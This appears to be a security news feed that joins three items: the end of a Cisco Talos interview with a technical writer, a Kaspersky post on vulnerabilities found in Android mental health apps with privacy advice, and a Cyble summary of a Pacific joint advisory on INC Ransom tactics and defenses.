Kri Dontje: Absolutely. I have a technical writing degree — technical communications — which means I translate very technical topics into something that other people can understand if they’re not necessarily experts in that field. I’ve had a very nontraditional career. My first position was at a very small company, 14 people at its largest. I did documentation, design and demonstration videos, and rebuilt their health system from the ground up. It was interesting and terrifying because I was learning it completely alone.

I’m also a huge nerd and a learning junkie, which helps with this kind of job. I enjoy being around people who are into really complex things and talking to them about it. I spent a lot of time around a local miniatures wargaming shop and became friends with a bunch of nerds, some of whom have migrated into Talos.

I transitioned over to the strategic communications team as a research engineer. I’m going to focus more on communicating about Talos at a slightly more technical level than our communications have been to the public for a while, while still creating content that makes Talos accessible for people as much as possible.

AC: What do you think are the most important qualities or skills that make someone a really good technical writer, especially in a fast-changing landscape like cybersecurity?

KD: That’s a big contradiction. One of the most important things for tech writing is consistency and accessibility. It’s not a career that encourages adjectives. You want to use the same word to mean the same thing every time because if you use a fun synonym, the reader might think it’s an entirely different concept.

Versioning is a big problem. People won’t trust documentation if they find bad information in it. They’ll never think it’s a reasonable place to go again. So keeping things accurate is really important.

Being snoopy and not being afraid to feel real stupid in front of extremely smart people is also key. Usually, you can find common ground. It’s important to recognize you’re not talking down to the audience or making the information for stupid people. Even within Talos and the cyber community, everyone has broad-ranging specialties. Most people don’t know what others do or can’t figure it out without spending a lot of time and energy they don’t need to. So the important thing is to bring the information to a level where other very intelligent people can cross-reference it and make it applicable to what they’re doing.

---

Want to see more? Watch the full interview, and don’t forget to subscribe to our YouTube channel for future episodes of Humans of Talos.

Cisco Talos Blog – ​Read More

In February 2026, the cybersecurity firm Oversecured published a report that makes you want to factory reset your phone and move into a remote cabin in the woods. Researchers audited 10 popular Android mental health apps — ranging from mood trackers and AI therapists to tools for managing depression and anxiety — and uncovered… 1575 vulnerabilities! Fifty-four of those flaws were classified as critical. Given the download stats on Google Play, as many as 15 million people could be affected. The real kicker? Six out of the ten apps tested explicitly promised users that their data was “fully encrypted and securely protected”.

We’re breaking down this scandalous “brain drain”: what exactly could leak, how it’s happening, and why “anonymity” in these services is usually just a marketing myth.

What was found in the apps

Oversecured is a mobile app security firm that uses a specialized scanner to analyze APK files for known vulnerability patterns across dozens of categories. In January 2026, researchers ran ten mental health monitoring apps from Google Play through the scanner — and the results were, shall we say, “spectacular”.

App Type	Installs	Security vulnerabilities
		High-severity	Medium-severity	Low-severity	Total
Mood & habit tracker	10M+	1	147	189	337
AI therapy chatbot	1M+	23	63	169	255
AI emotional health platform	1M+	13	124	78	215
Health & symptom tracker	500k+	7	31	173	211
Depression management tool	100k+	0	66	91	157
CBT-based anxiety app	500k+	3	45	62	110
Online therapy & support community	1M+	7	20	71	98
Anxiety & phobia self-help	50k+	0	15	54	69
Military stress management	50k+	0	12	50	62
AI CBT chatbot	500k+	0	15	46	61
Total	14.7М+	54	538	983	1575

The anatomy of the flaws

The discovered vulnerabilities are diverse, but they all boil down to one thing: giving attackers access to data that should be under lock and key.

For starters, one of the vulnerabilities allows an attacker to access any internal activity of the app — even that never intended for external eyes. This opens the door to hijacking authentication tokens and user session data. Once an attacker has those, they essentially could gain access to a user’s therapy records.

Another issue is insecure local data storage with read permissions granted to any other app on the device. In other words, that random flashlight app or calculator on your smartphone could potentially read your cognitive behavioral therapy (CBT) logs, personal notes, and mood assessments.

The researchers also found unencrypted configuration data baked right into the APK installation files. This included backend API endpoints and hardcoded URLs for Firebase databases.

Furthermore, several apps were caught using the cryptographically weak java.util.Random class to generate session tokens and encryption keys.

Finally, most of the tested apps lacked root/jailbreak detection. On a rooted device, any third-party app with root privileges could gain total access to every bit of locally stored medical data.

Shockingly, of the 10 apps analyzed, only four received updates in February 2026. The rest haven’t seen a patch since November 2025, and one hasn’t been touched since September 2024. Going 18 months without a security patch is a lifetime in this industry — especially for an app housing mood journals, therapy transcripts, and medication schedules.

Here’s a quick reminder of just how dangerous the misuse of this type of data gets. In 2024, the tech world was rocked by a sophisticated attack on XZ Utils, a critical component found in virtually every operating system based on the Linux kernel. The attacker successfully pressured the maintainer into handing over code commit permissions by exploiting the developer’s public admission of burnout and a lack of motivation to carry on with the project. Had the attack been completed, the damage would have been mind-boggling given that roughly 80% of the world’s servers run on Linux.

What could leak?

What do these apps collect and store? It’s the kind of stuff you’d likely only share with a trusted clinician: therapy session transcripts, mood logs, medication schedules, self-harm indicators, CBT notes, and various clinical assessment scales.

As far back as 2021, complete medical records were selling on the dark web for US$1000 each. For comparison, a stolen credit card number goes for anywhere between US$5 and US$30. Medical records contain a full identity package: name, address, insurance details, and diagnostic history. Unlike a credit card, you can’t exactly “reissue” your medical history. Furthermore, medical fraud is notoriously difficult to spot. While a bank might flag a suspicious transaction in hours, a fraudulent insurance claim for a phantom treatment can go unnoticed for years.

We’ve seen this movie before

The Oversecured study isn’t just an isolated horror story.

Back in 2020, Julius Kivimäki hacked the database of the Finnish psychotherapy clinic Vastaamo, making off with the records of 33 000 patients. When the clinic refused to cough up a €400 000 ransom, Kivimäki began sending direct threats to patients: “Pay €200 in Bitcoin within 24 hours, or else your records go public”. Ultimately, he leaked the entire database onto the dark web anyway. At least two people died by suicide, and the clinic was forced into bankruptcy. Kivimäki was eventually sentenced to six years and three months in prison, marking a record-breaking trial in Finland for the sheer number of victims involved.

In 2023, the U.S. Federal Trade Commission (FTC) slapped the online therapy giant BetterHelp with a US$7.8 million fine. Despite stating on their sign-up page that your data was strictly confidential, the company was caught funneling user info — including mental health questionnaire responses, emails, and IP addresses — to Facebook, Snapchat, Criteo, and Pinterest for targeted advertising. After the dust settled, 800 000 affected users received a grand total of… US$10 each in compensation.

By 2024, the FTC set its sights on the telehealth firm Cerebral, tagging them with a US$7 million fine. Through tracking pixels, Cerebral leaked the data of 3.2 million users to LinkedIn, Snapchat, and TikTok. The haul included names, medical histories, prescriptions, appointment dates, and insurance info. And the cherry on top? The company sent promotional postcards (sans envelopes) to 6000 patients, which effectively broadcasted that the recipients were undergoing psychiatric treatment.

In September 2024, security researcher Jeremiah Fowler stumbled upon an exposed database belonging to Confidant Health, a provider specializing in addiction recovery and mental health services. The database contained audio and video recordings of therapy sessions, transcripts, psychiatric notes, drug test results, and even copies of driver’s licenses. In total, 5.3 terabytes of data, 126 000 files, or 1.7 million records were sitting there without a password.

Why anonymity is an illusion

Developers love to drop the line: “We never share your personal data with anyone.” Technically, that might be true — instead, they share “anonymized profiles”. The catch? De-anonymizing that data isn’t exactly rocket science anymore. Recent research highlights that using LLMs to strip away anonymity has become a routine reality.

Even the “anonymization” process itself is often a mess. A study by Duke University revealed that data brokers are openly hawking the mental health data of Americans. Out of 37 brokers surveyed, 11 agreed to sell data linked to specific diagnoses (like depression, anxiety, and bipolar disorder), demographic parameters, and in some cases, even names and home addresses. Prices started as low as US$275 for 5000 aggregated records.

According to the Mozilla Foundation, by 2023, 59% of popular mental health apps failed to meet even the most basic privacy standards, and 40% had actually become less secure than the previous year. These apps allowed account creation via third-party services (like Google, Apple, and Facebook), featured suspiciously brief privacy policies that glossed over data collection details, and employed a clever little loophole: some privacy policies applied strictly to the company’s website, but not the app itself. In short, your clicks on the site were “protected”, but your actions within the app were fair game.

How to protect yourself

Cutting these apps out of your life entirely is, of course, the most foolproof option — but it’s not the most realistic one. Besides, there’s no guarantee you can actually nuke the data already collected — even if you delete your account. We previously covered the grueling process of scrubbing your info from data broker databases; it’s possible, but prepare for a headache. So, how can you stay safe?

• Check permissions before you hit “Install”. In Google Play, navigate to App description → About this app → Permissions. A mood tracker has no business asking for access to your camera, microphone, contacts, or precise GPS location. If it does, it’s not looking out for your well-being — it’s harvesting data.
• Actually read the privacy policy. We get it — nobody reads these multi-page manifestos. But when a service is vacuuming up your most intimate thoughts, it’s worth a skim. Look for the red flags: does the company share data with third parties? Can you manually delete your records? Does the policy explicitly cover the app itself, or just the website? You can always feed the policy text into an AI and ask it to flag any privacy deal-breakers.
• Check the last updated date. An app that hasn’t seen an update in over six months is likely a playground for unpatched vulnerabilities. Remember: six out of the 10 apps Oversecured tested hadn’t been touched in months.
• Disable everything non-essential in your phone’s privacy settings. Whenever prompted, always select “ask not to track”. When an app pleads with you to enable a specific type of tracking — claiming it’s for “internal optimization” — it’s almost always a marketing ploy rather than a functional necessity. After all, if the app truly won’t work without a certain permission, you can always go back and toggle it on later.
• Don’t use “Sign in with…” services. Authenticating via Facebook, Apple, Google, or Microsoft creates additional identifiers and gives companies a golden opportunity to link your data across different platforms.
• Treat everything you type like a public social media post. If you wouldn’t want a random stranger on the internet reading it, you probably shouldn’t be typing it into an app with over 150 vulnerabilities that hasn’t seen a patch since the year before last.

What else you should know about privacy settings and controlling your personal data online:

• Geolocation data brokers: what they do and what happens when they leak
• Why data brokers build dossiers on you, and how to stop them doing so
• How to disappear from the internet
• How to shrink your digital footprint
• How smartphones build a dossier on you

Kaspersky official blog – ​Read More

Cybersecurity agencies across the Pacific region are sharing concerns about the ransomware group INC Ransom’s expanding activities and the growing influence of its affiliate network.

A joint advisory issued by the Australian Cyber Security Centre (ACSC), National Computer Emergency Response Team Tonga (CERT Tonga), and the New Zealand National Cyber Security Centre (NCSC) highlights how the INC Ransom ecosystem has become an active threat to organizations in Australia, New Zealand, and Pacific Island states.

The advisory from the agencies down under is designed for both technical specialists and general network defenders. It outlines how INC Ransom operates, the techniques its affiliates use, and the steps organizations can take to reduce their exposure. Officials from the three agencies are urging both government ministries and private organizations to review the mitigation measures outlined in the guidance to strengthen defenses against INC Ransom activity.

What distinguishes this campaign is not only the ransomware itself, but the operational structure behind it. The INC Ransom ecosystem relies on a distributed affiliate model, enabling a broad range of cybercriminal operators to conduct attacks using shared tools and infrastructure.

The INC Ransom Affiliate Model and the RaaS Ecosystem

The operational structure of INC Ransom, which functions as a Ransomware-as-a-Service (RaaS) platform. The model allows external affiliates to deploy ransomware against victims while the core operators manage extortion negotiations and payment collection. 

INC Ransom first emerged in mid-2023 as a financially motivated cybercriminal group believed to be based in Russia. Since then, the group has built an affiliate network that distributes ransomware to attackers targeting organizations worldwide. Within this structure, affiliates perform the technical intrusion and deployment of the malware, while the core INC Ransom operators handle victim communication and ransom demands. 

The group is also known by other threat-intelligence labels, including Tarnished Scorpion and GOLD IONIC. 

According to the advisory from ACSC, NCSC, and CERT Tonga, INC Ransom operations are particularly focused on organizations that manage sensitive or high-value information. Health care providers have become a prominent target globally, likely due to the operational pressure these organizations face when systems become unavailable. 

Although earlier activity concentrated on victims in the United States and the United Kingdom, threat intelligence collected by ACSC, NCSC, and CERT Tonga indicates that the group has shifted attention toward the Pacific region since early 2025. 

INC Ransom Incidents in Australia

In Australia, ACSC has tracked a series of incidents linked to INC Ransom affiliates. 

Between 1 July 2024 and 31 December 2025, the ACSC responded to 11 incidents attributed to the ransomware operation. These incidents primarily affected organizations in professional services and the health care sector. 

Since January 2025, analysts at the ACSC have observed INC Ransom affiliates targeting Australian health care entities through compromised user accounts. Once access is obtained, attackers typically escalate privileges by creating new administrator-level accounts. They then move laterally through internal systems to expand control within the network. 

During these operations, INC Ransom affiliates have deployed malicious payloads using filenames such as “win.exe.” Investigations conducted by the ACSC have also identified cases in which attackers exfiltrated personally identifiable information and medical records before launching the encryption phase. 

Victims typically discover ransom notes containing instructions and links to the INC Ransom Tor-based data leak site (DLS) where negotiations occur. 

Health Infrastructure Disruption in Tonga 

One of the most disruptive incidents linked to INC Ransom occurred in the Kingdom of Tonga. 

On 15 June 2025, the ICT environment of the Tongan Ministry of Health was hit by a ransomware attack that disrupted the national health care network and rendered several core services inaccessible. Investigators from CERT Tonga, working with regional partners including ACSC and NCSC, discovered a ransom note associated with INC Ransom embedded within the ministry’s file systems. 

On 26 June 2025, the INC Ransom group publicly claimed responsibility for the incident on its dark-web data leak site. 

The advisory further identifies Roman Khubov, a cybercriminal also known as “blackod,” as the individual controlling the malicious infrastructure used to exfiltrate data during the Ministry of Health breach. 

Ransomware Incident in New Zealand 

Ransomware activity remains a persistent problem in New Zealand, where multiple sectors of the economy have experienced disruptions. 

In May 2025, the NCSC received a report from a health-sector organization that had suffered a major ransomware intrusion. According to the notification, attackers encrypted a large number of servers and endpoint devices while also stealing significant volumes of data. 

The NCSC investigation determined that INC Ransom was responsible for the incident. After the organization refused to meet the extortion demand, the attackers published the stolen dataset on the INC Ransom data leak site. 

The event reinforced concerns among cybersecurity officials at NCSC, ACSC, and CERT Tonga that the group’s tactics are targeting organizations whose operations are highly sensitive to disruption. 

Technical Tactics Used by INC Ransom 

Technical analysis from ACSC, NCSC, and CERT Tonga shows that INC Ransom affiliates rely on several common intrusion techniques to gain initial access to victim networks. 

The most frequently observed entry points include: 

• Spear-phishing campaigns targeting employees 

• Exploitation of unpatched internet-facing systems 

• Purchased credentials from initial access brokers 

Once inside the network, INC Ransom affiliates often rely on legitimate software tools rather than custom malware to perform key tasks. This tactic allows malicious activity to blend into normal administrative operations. 

For example: 

• 7-Zip and WinRAR are used to compress data before theft. 

• The file synchronization tool rclone is frequently used to transfer stolen data outside the network. 

After data exfiltration, attackers deploy the encryption component of INC Ransom. A ransom note is then left on affected systems with payment instructions and contact details. 

If the targeted organization refuses to pay, INC Ransom operators initiate double-extortion tactics by publishing both the victim’s name and stolen information on the group’s leak site. 

Security analysts note that the tactics, techniques, and procedures (TTPs) used by INC Ransom share similarities with other ransomware operations such as Lynx, Nemty, Nemty X, Karma, and Nokoyawa. 

Defensive Measures Recommended by ACSC, NCSC, and CERT Tonga 

The joint advisory from ACSC, NCSC, and CERT Tonga outlines several practical security measures designed to reduce the risk of INC Ransom compromise. 

Key defensive actions include: 

• Maintain Reliable Backups: Organizations should maintain regular, tested backups of critical systems and store them securely to prevent unauthorized modification or deletion. 

• Restrict Network Traffic: Network administrators should limit inbound and outbound traffic to only what is necessary for operations. Firewalls and filtering technologies can help reduce exposure to phishing campaigns and malicious attachments. 

• Harden Remote Access: Virtual private networks (VPNs) and other remote access systems should be carefully configured to ensure only authorized users can reach sensitive resources. 

• Implement Multi-Factor Authentication: The advisory from ACSC, NCSC, and CERT Tonga emphasizes implementing phishing-resistant multi-factor authentication (MFA) for internet-facing services and privileged accounts. 

• Manage Privileged Access: Administrative privileges should be tightly controlled. Unique accounts for administrators improve accountability and reduce the impact of credential compromise. 

• Maintain Strong Vulnerability Management: Regular vulnerability scanning and rapid patching of exposed systems remain critical, particularly for internet-facing services that ransomware actors commonly target. 

Growing Regional Collaboration Against the INC Ransom 

The joint advisory reflects cooperation among cybersecurity agencies across the Pacific. By sharing intelligence and incident data, organizations such as ACSC, NCSC, and CERT Tonga are building a more coordinated response to ransomware threats like INC Ransom. 

The rise of affiliate-driven ransomware operations has significantly lowered the barrier to entry for cybercriminal activity. In this environment, the INC Ransom ecosystem demonstrates how distributed attacker networks can rapidly shift focus across geographic regions. 

For organizations in Australia, New Zealand, and the Pacific islands, the advisory from the Australian Cyber Security Centre (ACSC), New Zealand National Cyber Security Centre (NCSC), and National Computer Emergency Response Team Tonga (CERT Tonga) highlights the need to strengthen access controls, monitor network activity, and maintain a tested incident response plan to limit the impact of ransomware attacks. 

Threat intelligence from Cyble helps organizations track ransomware activity, monitor dark web exposure, and identify indicators of compromise earlier. 

Schedule a demo with Cyble to see how its threat intelligence platform supports ransomware detection and response. 

References:

• https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/inc-ransom-affiliate-model-enabling-targeting-of-critical-networks 

• https://www.cyber.gov.au/about-us/view-all-content/news/inc-ransom-and-affiliate-network-operating-in-australia-new-zealand-and-the-pacific-island-states 

The post Australia, New Zealand, Tonga, Warn of Rising INC Ransom Attacks Targeting Pacific Networks appeared first on Cyble.

Cyble – ​Read More